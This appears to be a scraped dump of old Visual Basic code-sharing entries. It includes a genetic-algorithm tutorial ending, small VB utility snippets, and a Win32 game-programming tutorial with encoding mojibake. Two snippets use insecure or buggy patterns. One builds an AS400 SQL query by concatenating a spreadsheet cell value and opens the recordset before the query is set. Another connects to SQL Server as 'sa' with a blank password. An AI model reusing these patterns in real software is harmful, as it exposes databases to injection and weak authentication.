how close the output for that chromosome is to the optimum target value. The closer the chromosome is to the target value the higher of a fitness value they are awarded. This process is repeated for all the chromosomes currently in the system. \nIIc. Step 3 -- Reproduction and Mutation \nAfter all the chromosomes have been evaluated, the ones with lower fitness numbers are 'exterminated' and the others are allowed to reproduce. A random crossover point between the father and mother chromosomes is chosen. For Example: \nFather: 00110101 \nMother: 01001010 \nRandom Crossover Point: 3 \nChild (three from the father, five from the mother): 00101010 \nAfter that, some children undergo random mutation where one of the binary digits is changed. Steps 2 and 3 are repeated until the results match the target number. \nIII. Final Note \nThis tutorial has only introduced the idea of genetic algorithms. In Part 2, we will explain how to program them and use them in everything from medical applications to one-time pad encryption. Thanks for your interest and we hope you'll be waiting for the next one!"},{"WorldId":1,"id":11355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11326,"LineNumber":1,"line":"Public Sub PathTest\n' Return just the path \"c:\\test\\\" \n' TRUE strips the backslash, FALSE retains it\nDebug.Print JustPath(\"c:\\test\\myfile.txt\", \"\\\", True)\n' Return just the filename \"myfile.txt\"\n' Change \"\\\" to \"/\" to handle UNIX or URL pathnames!\nDebug.Print JustFile(\"c:\\test\\myfile.txt\", \"\\\")\n' Change the extension to \"bak\" and return \"c:\\test\\myfile.bak\"\nDebug.Print ChangeExt(\"c:\\test\\myfile.txt\", \"bak\")\n' Change the extension and return just the filename \"myfile.bak\" \n' Change \"\\\" to \"/\" to handle UNIX or URL pathnames!\nDebug.Print JustFile(ChangeExt(\"c:\\test\\myfile.txt\", \"bak\"), \"\\\")\nEnd Sub\nPublic Function JustPath(ByVal filepath As String, ByVal dirchar As String, ByVal stripbs As Integer) As String\n\t' Returns just the path\n\t' TRUE evaluates to -1, FALSE evaluates to 0 so \n\t' simple addition is all we need at the end to remove the slash\n\tJustPath = Mid$(filepath, 1, InStrRev(filepath, dirchar) + stripbs)\nEnd Function\nPublic Function JustFile(ByVal filepath As String, ByVal dirchar As String) As String\n ' Returns just the filename\n JustFile = Mid$(filepath, InStrRev(filepath, dirchar) + 1)\nEnd Function\nPublic Function ChangeExt(ByVal filepath As String, ByVal newext As String) As String\n ' Changes the extension\n ChangeExt = Mid$(filepath, 1, InStrRev(filepath, \".\")) & newext\nEnd Function\n"},{"WorldId":1,"id":11345,"LineNumber":1,"line":"Private Sub Test()\nConst mystr = \"This is a test of the split function\"\n' returns 6\nDebug.Print Occurs(mystr, \"t\")\nEnd Sub\nPublic Function Occurs(ByVal strtochk As String, ByVal searchstr As String) As Long\n' remember SPLIT returns a zero-based array\nOccurs = UBound(Split(strtochk, searchstr)) + 1\nEnd Function"},{"WorldId":1,"id":11327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14930,"LineNumber":1,"line":"To Display VB Credits, just follow these few steps\nStart Visual Basic 5.0/6.0 \nIf you get the New Project dialog box, just click Open. \nClick the View menu, point to Toolbars, and click Customize. \nGo to Commands tab. \nClick the Help category, and drag the About Microsoft Visual Basic item into the help menu. \nClick the Modify Selection button and set the name for the newly inserted menu item to \"Show VB Credits\" without the quotation marks. \nClick the Close button. \nFrom the Help menu, choose Show VB Credits."},{"WorldId":1,"id":26024,"LineNumber":1,"line":"Dim CN As New ADODB.Connection\nDim RS As New ADODB.Recordset\nDim strSQL As String\nSub GetNameCity2()\nCN.Open \"Driver={Client Access ODBC Driver (32-bit)}; System=typeyouras400ipaddress-or-as400namehere; Uid=typeyouras400Namehere; Pwd=typeyouras400passwordhere;\" ' open connection to database\n'this section retrieves the name and site\n'PLTFILES# is the library\n'ONETI561 is the file\n'NAME, CITY, ADRNUM are the fields to retrieve\nRS.Open strSQL, CN\nstrSQL = \"select NAME, CITY, ADRNUM from PLTFILES#.ONETI561 where PRADDR = 'Y' AND ADRNUM = '\" & Range(\"B2\").Value & \"'\"\nRS.Open strSQL, CN\nIf RS.BOF Or RS.EOF Then\n msgbox \"Could not find lookup value.\"\nElse\n RS.MoveFirst\n Range(\"C2\").Value = RS.Fields(0)\n Range(\"D2\").Value = RS.Fields(1)\nEnd If\n \nRS.Close 'Close recordset\nCN.Close 'Close connection\nEnd Sub\n"},{"WorldId":1,"id":11425,"LineNumber":1,"line":"Option Explicit\nPrivate Function StripStringFromPointer$(ByVal lpString&, ByVal nStrLen&)\n Dim Info$\n Info = String$(nStrLen, vbNullChar)\n CopyMemory ByVal StrPtr(Info), ByVal lpString, nStrLen * 2\n StripStringFromPointer = Info\nEnd Function\nPrivate Function GetAddress(Addr&)\n GetAddress = Addr\nEnd Function\nPrivate Function MyFunction&(ByVal lpString&, ByVal nStrLen&, ByVal param3&,\nByVal param4&)\n Debug.Print StripStringFromPointer(lpString, nStrLen)\nEnd Function\nPublic Sub Main()\n Dim FunctAddr&, Info$\n Info = \"Holy Smoke\"\n FunctAddr = GetAddress(AddressOf MyFunction)\n CallWindowProc FunctAddr, StrPtr(Info), CLng(Len(Info)), 0&, 0&\n End\nEnd Sub\n"},{"WorldId":1,"id":11579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24193,"LineNumber":1,"line":"Option Explicit\nConst DATABASE = \"*\" 'Enter name of the database here\nConst DBFILE_LOC = \"C:\\MSSQL7\\DATA\\*_DATA.mdf\" 'Physical path\nConst USER = \"*\" 'User name for login\nConst PASSWORD = \"*\" 'Password\nConst TABLE = \"*\" 'Name of the new table\nConst COLUMN1 = \"*\" 'Field#1 name\nConst COLUMN2 = \"*\" 'Field#2 name\nSub Main()\nDim oSQLServer As SQLDMO.SQLServer, oDatabase As SQLDMO.DATABASE\nDim tblNewTable As New SQLDMO.TABLE\nDim colNewColumn1 As New SQLDMO.Column, colNewColumn2 As New SQLDMO.Column\nOn Error GoTo Errors\n Set oSQLServer = New SQLDMO.SQLServer\n oSQLServer.Connect , \"sa\" 'Use USER/PASSWORD if neccessary\n \n Set oDatabase = oSQLServer.Databases(DATABASE)\n \n 'Populate the Column objects to define \n 'the table columns.\n colNewColumn1.Name = COLUMN1\n colNewColumn1.Datatype = \"decimal\"\n colNewColumn1.Length = 5\n colNewColumn1.NumericPrecision = 3\n colNewColumn1.NumericScale = 0\n colNewColumn1.AllowNulls = False\n \n colNewColumn2.Name = COLUMN2\n colNewColumn2.Datatype = \"datetime\"\n colNewColumn2.Length = 8\n colNewColumn2.AllowNulls = True\n \n 'Name the table, then set desired properties \n 'to control eventual table construction\n tblNewTable.Name = TABLE\n tblNewTable.FileGroup = \"PRIMARY\"\n \n 'Add column objects to the Columns collection \n tblNewTable.Columns.Add colNewColumn1\n tblNewTable.Columns.Add colNewColumn2\n \n 'Create the table by adding the \n 'Table object to its containing collection.\n oDatabase.Tables.Add tblNewTable\n \n Exit Sub\n \nErrors:\n ErrorHandler (\"Main\")\nEnd Sub\nSub ErrorHandler(ByVal strLocation As String)\n If Err.Number <> 0 Then\n MsgBox \"Error #: \" & Str(Err.Number) & vbCrLf & _\n \"Description: \" & Err.Description & vbCrLf & _\n \"Source: \" & Err.Source, _\n vbCritical + vbSystemModal, \"CreateTable: \" & strLocation\n End If\nEnd Sub\n"},{"WorldId":1,"id":25599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31838,"LineNumber":1,"line":"<span\nstyle='font-size:24.0pt;mso-bidi-font-size:12.0pt'>Making games using the Win32\napi.<o:p></o:p>\n<span\nstyle='font-size:16.0pt;mso-bidi-font-size:12.0pt'>By Dennis Meelker<o:p></o:p>\n<span\nstyle='font-size:16.0pt;mso-bidi-font-size:12.0pt'>Meelkertje@hotmail.com<br\nclear=all style='mso-special-character:line-break;page-break-before:always'>\n\nIn this tutorial I will show you how to make a game that\nruns fast using the Win32 Api. I will try to explain everything as good as\npossible, so if you donΓÇÖt understand something read it over and over until you\nget it, got it? If you really canΓÇÖt understand it you can always e-mail me.Now\nlets get started.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nSo why should we use the Win32 API instead of using DirectX,\nI personally think DirectX is way to hard to learn if you just want to make a\nflat type game. I you want to make a 3D shooter with all effects like anti\nalias and stuff, you will need to learn DirectX for sure, there is just no way\nyou can do this in VB using only APIΓÇÖs. But if you want to make a flat game\nlike Pacman or some kind of Platform I prefer using the API. But this is just\nmy opinion so if you want to use DirectX go ahead.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nFirst we will make a new project just create a standard exe,\nnow name the form frmMain or something like that. This will be the game form. Now,\nthe next two things are really important, set the AutoRedraw property to True\nand set The Scalemode to Pixel.\nWhen Autoredraw property is set to true the things that our\ngame drew on the form wonΓÇÖt just disappear when the form is refreshed. We set\nthe Scalemode to pixel because the APIΓÇÖs all need pixels as parameter and not\ntwips, if we hadnΓÇÖt changed it we had to turn the twips into pixels all the\ntime witch would cause trouble for sure.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nNow that we have our form ready create a new module and call\nit something like modInvaders orso. Now add these api DeclarationΓÇÖs to the\nmodule:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Declare Function BitBlt Lib\n \"gdi32\" Alias \"BitBlt\" (ByVal hDestDC As Long, ByVal x As\n Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal\n hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long)\n As Long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Const SRCAND = &H8800C6<span\n style=\"mso-spacerun: yes\">┬á ' (DWORD) dest = source AND dest<o:p></o:p>\n Public Const SRCCOPY = &HCC0020 ' (DWORD) dest\n = source<o:p></o:p>\n Public Const SRCPAINT = &HEE0086<span\n style=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á ' (DWORD) dest = source OR dest\n </td>\n </tr>\n</table>\n┬á\nAs you can see, we just added the Bitblt api function to our\nproject, the bitlbt function will be the core of our game, it is used to draw\nall the graphics on the screen. I will explain all the parameters here:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nhDestDC┬á┬á┬á┬á┬á┬á┬á┬á┬á - This\nis the DC of the form/control to draw to.\nx┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis is the x position to draw to\ny┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis is the y position to draw to\nnWidth┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis is the width of the picture or a part of a picture to copy\nnheight┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis is the height of the picture or a part of a picture to copy\nhSrcDC┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis is the DC of the form/control that containt the picture we want to copy\nxSrc┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThe source x coordinate\nySrc┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThe source y coordinate\ndwRop┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á -\nThis specifies how the graphic should be drawn\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nWhen you see this you will probably say, ΓÇ£Dennis? What is a\nDC?ΓÇ¥.\nSo I will explain that right now, DC stands for device\ncontext, itΓÇÖs just a place inside the memory of your PC where the picture of a\nform or any anther control is stored. Now if you didnΓÇÖt know what a DC was you\nprobably wonΓÇÖt know what the dwRop property is, well, as I said above it tells\nthe BitBlt functions how to draw, ΓÇ£Are there different wayΓÇÖs to draw??ΓÇ¥, yes\nthere are, you noticed the three constants below the BitBlt function that we\nadded to our module those are three ways to draw, you can just set the dwRop to\nSRCCOPY or any of them. The SRCAND and SRCPAINT are almost always used\ntogether, I donΓÇÖt know what they do exactly but I do know that when you use the\nSRCAND first and the SRCPAINT after that you can get a transparent picture, you\nprobably donΓÇÖt understand what I just said, never mind, I will explain this\nlater on. The SRCCOPY constant is nothing special, it just copies the part of a\npicture you specified to the specified DC.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nIf we are making a good game, we want the area surrounding\nour characters to be transparent, if it would not be transparent, below are two\nexamples of a character, the first one has a transparent background, the second\none doesnΓÇÖt.\n<table cellpadding=0 cellspacing=0 align=left>\n <tr>\n <td width=60 height=0></td>\n <td width=61></td>\n <td width=47></td>\n <td width=60></td>\n </tr>\n <tr>\n <td height=60></td>\n <td align=left valign=top><img width=61 height=60\n src=\"./Making%20games%20using%20the%20Win32%20api_files/image003.jpg\"\n v:shapes=\"_x0000_s1027\"></td>\n <td></td>\n <td align=left valign=top><img width=60 height=60\n src=\"./Making%20games%20using%20the%20Win32%20api_files/image004.jpg\"\n v:shapes=\"_x0000_s1026\"></td>\n </tr>\n </table>\n <![endif]><br\nstyle='mso-ignore:vglayout' clear=ALL>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n \n<![if !vml]><img width=132 height=66\nsrc=\"./Making%20games%20using%20the%20Win32%20api_files/image006.jpg\"\nalign=left hspace=12 v:shapes=\"_x0000_s1028\"><![endif]>I think you will now\nunderstand why we want the background of our character transparent. To make the\nbackground of our pictures transparent we have to create a mask. On the right\nyou can see a picture that is ready to be drawn with a transparent background.\nThe first picture has a black background, the black will be transparent, now\nyou will probably think: ΓÇ£But his arms have black stripes, wont he get\ntransparent arms?ΓÇ¥, to solve that problem I created a ΓÇ£MaskΓÇ¥ a mask is a\npicture with everything that should be transparent white, and the rest black.\nWith these two images and the BitBlt function we are ready to draw the\ncharacter with a transparent background.\n┬á\nBefore we go on, make sure you have a picture like the one\nabove,┬á you can also use the one above\nif you want to.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nNow add a Command button and a picturebox to the form set\nthe pictureboxΓÇÖs autoredraw property to true, the scalemode to Pixel, the\nborderstyle to zero and set the Autosize property to true. Now load your\npicture in the picturebox by setting the picture property.\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nDoubleclick on the button you just inserted and add the\nfollowing code:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n BitBlt me.hDc, 0 ,\n 0 , 20, 20, picture1.hDc, 0, 0, SRCCOPY<o:p></o:p>\n Me.Refresh<span\n lang=EN-US style='mso-ansi-language:EN-US'><o:p></o:p>\n </td>\n </tr>\n</table>\nIf your\npicture has other sizes you must change them, but watch out, you have to use\nthe sizes of one part of the picture, the picture I showed you has a width of\n40 pixels and a height of 20, it consists of two pictures that are put together\nso the sizes of one picture are 20x20.<o:p></o:p>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nIf you\nstart the program and you press the button you will see you character with a\nblack background. Now that you know how to use the SRCCOPY constant we will go\non with the other two. Add another Command button and set itΓÇÖs code to:<o:p></o:p>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n BitBlt me.hDc, 0 ,\n 0 , 20, 20, picture1.hDc, 20, 0, SRCAND<o:p></o:p>\n BitBlt me.hDc, 0 ,\n 0 , 20, 20, picture1.hDc, 0, 0, SRCPAINT<o:p></o:p>\n Me.Refresh<span\n lang=EN-US style='mso-ansi-language:EN-US'><o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nWhen you\npress this button you will see your character with a transparent background!!<o:p></o:p>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThe first thing you should now when making a game is that\nyou should use as less timers as possible , timers are really bad things to use\nin a game. Now I hear you thinking things like: ΓÇ£But how can I move the bullet\nmy spaceship just fired without a timer?ΓÇ¥, the solution is:ΓÇª Loops!. ΓÇ£Loops??ΓÇ¥,\nyes loops, because a game usual needs to time a lot using timers will only make\nyour game run slow, and that is the most worst thing to have, imagine you made\na great looking game with killer graphics, but it runs soooooo slow because you\nused about two dozen timers. We wont have this kind of trouble, cause we are\nusing loops!!\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nWell, with the most games you will have a main loop, a main\nloop is a loop that runs your game, when the loop stops.. the game stops. In\nthis loop we will check for keypresses and we will move our characters, we will\nmove bullets, draw the players and powerups and so on. A simple loop would look\nlike this:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Do<o:p></o:p>\n ┬á┬á ΓÇÿGame\n Stuff┬á <o:p></o:p>\n ┬á┬á DoEvents<o:p></o:p>\n Loop<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nBut if we put all the stuff I mentioned above in here and\nstart our loop you will notice it goes way to fast, we will need to slow our\nloop a bit down. Now I will change the loop like this:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Const\n TickDifference as long = 10<o:p></o:p>\n Dim\n LastTick<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n LastTick =\n GetTickCount()<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Do<o:p></o:p>\n <span\n style=\"mso-spacerun: yes\">┬á┬á Curtick = GetTickCount()<o:p></o:p>\n <span\n style=\"mso-spacerun: yes\">┬á┬á If┬á\n Curtick ΓÇô LastTick > TickDifference then<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n <span\n style=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á ΓÇÿGame Stuff<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n <span\n style=\"mso-spacerun: yes\">┬á┬á End if<o:p></o:p>\n <span\n style=\"mso-spacerun: yes\">┬á┬á DoEvents<o:p></o:p>\n Loop<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThe first thing you will probably see is the GetTickCount\nfunction, if you never worked with the API before you will probably donΓÇÖt know\nwhat it does. So I will tell you, the function GetTickCount returns the amount\nof milliseconds that elapsed since windows has started. So if you look at the\nrest of our loop you will see that we first get the current tick and store it\nin the LastTick variable. Then we start the loop and we store the current tick\nin the CurTick variable. Now comes the important part, we check if the\ndifference between CurTick and LastTick is ten, if it is the game stuff will be\nexecuted. So if we make our loop this way, every ten milliseconds the game\nstuff will be executed, this gives you game a speed of 100 Fps!! The\ndeclaration of the GetTickCount is so:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public\n Declare Function GetTickCount Lib \"kernel32\" () As Long<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nFor the people that donΓÇÖt know the DoEvents command, I will\nexplain it here. The DoEvents command is really important in our main loop, the\nDoEvents command lets the pc do things like updating the screen, if we let it\nout of our loop you would not see anything happen because the pc hasnΓÇÖt any\ntime to redraw the screen, so it stays empty.\nI will now tell you how to obtain keypresses. If you ever\nused the keydown event with a game you probably noticed that if you hold a key\ndown, your character first goes forward one step, then it pauses and then it\ngoes on. ItΓÇÖs very simpleΓÇªΓÇ¥We donΓÇÖt want that!ΓÇ¥ so we wonΓÇÖt use any event, we\nwill use the GetKeyState API, itΓÇÖs declaration is as followed:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Declare Function GetKeyState Lib\n \"user32\" (ByVal nVirtKey As Long) As Integer<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Const KEY_DOWN As Integer = &H1000<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n mso-bidi-font-family:\"Times New Roman\"'><o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nThe only parameter this functions has is the nVirtKey, this\nis the key you want to check. IΓÇÖve included the KEY_DOWN constant witch is\nneeded to check for a keypress, if you want to check if the space bar is\npressed you simply use this code\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n If GetKeyState(vbKeySpace) and KEY_DOWN then<o:p></o:p>\n ┬á┬á\n ΓÇÿStatements<o:p></o:p>\n End If<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nWhen creating a game you should make a function called\nsomething like: GetUserInput or something like that, it would also be handy if\nyou declared a Boolean variable for every key so you can use it inside your\nwhole game, the sub would look like this:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Function GetUserInput()<o:p></o:p>\n ┬á┬á\n UpPressed = GetKeyState(vbKeyUp) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n DownPressed = GetKeyState(vbKeyDown) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n LeftPressed = GetKeyState(vbKeyLeft) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n RightPressed = GetKeyState(vbKeyRight) And KEY_DOWN<o:p></o:p>\n End Function<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nIf you call the newly created function inside our main loop\nwe can check for keypresses everywhere in our game. \n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nIf you want the keys to customisable you could also declare\na long for every key, then you should also make something like a InitKeys sub\nin witch the variables will be loaded with the right keycodes, you can then let\nthe user choose his own configuration, the code would look like this:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Sub InitKeys()<o:p></o:p>\n ┬á┬á UpKey =\n vbKeyUp<o:p></o:p>\n ┬á┬á DownKey\n = vbKeyDown<o:p></o:p>\n ┬á┬á LeftKey\n = vbKeyLeft<o:p></o:p>\n ┬á┬á RightKey\n = vbKeyRight<o:p></o:p>\n End Sub<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Function GetUserInput()<o:p></o:p>\n ┬á┬á\n UpPressed = GetKeyState(UpKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n DownPressed = GetKeyState(DownKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n LeftPressed = GetKeyState(LeftKey) And KEY_DOWN<o:p></o:p>\n ┬á┬á\n RightPressed = GetKeyState(RightKey) And KEY_DOWN<o:p></o:p>\n End Function<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nOn to the next subject, Sound, without sound, a game is\nusual boring, so you need sound. You can download sounds from various websites,\nyou can also record the yourself using a microphone, if I need a simple sound\nlike a beng, I just put my mirophone near my desk and punch on the table. If\nyou have your sound saved as a .wav file you can play it two ways, you can use\nthe mci control Microsoft made. And you can use the sndPlaySound api, we will\nuse the sndPlaySound api, because using the control only makes your game slower\nand bigger because you will need to include a ocx of 150 kb. De declaration of\nthe sndPlaySound stands below:\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 style='border-collapse:collapse;\n border:none;mso-border-alt:solid windowtext .5pt;mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=619 valign=top style='width:464.4pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n Public Declare Function sndPlaySound Lib\n \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As\n String, ByVal uFlags As Long) As Long<o:p></o:p>\n <![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n Public Const SND_ASYNC = &H1<o:p></o:p>\n Public Const SND_LOOP = &H8<o:p></o:p>\n Public Const SND_NODEFAULT = &H2<o:p></o:p>\n </td>\n </tr>\n</table>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\nAs you can see the sndPlaySound function has two parameters,\nipszSoundName and uFlags. The ipszSoundName is the filename of the .wav file to\nplay, uFlags can be set to various settings. I explain the setting below:\n<![if 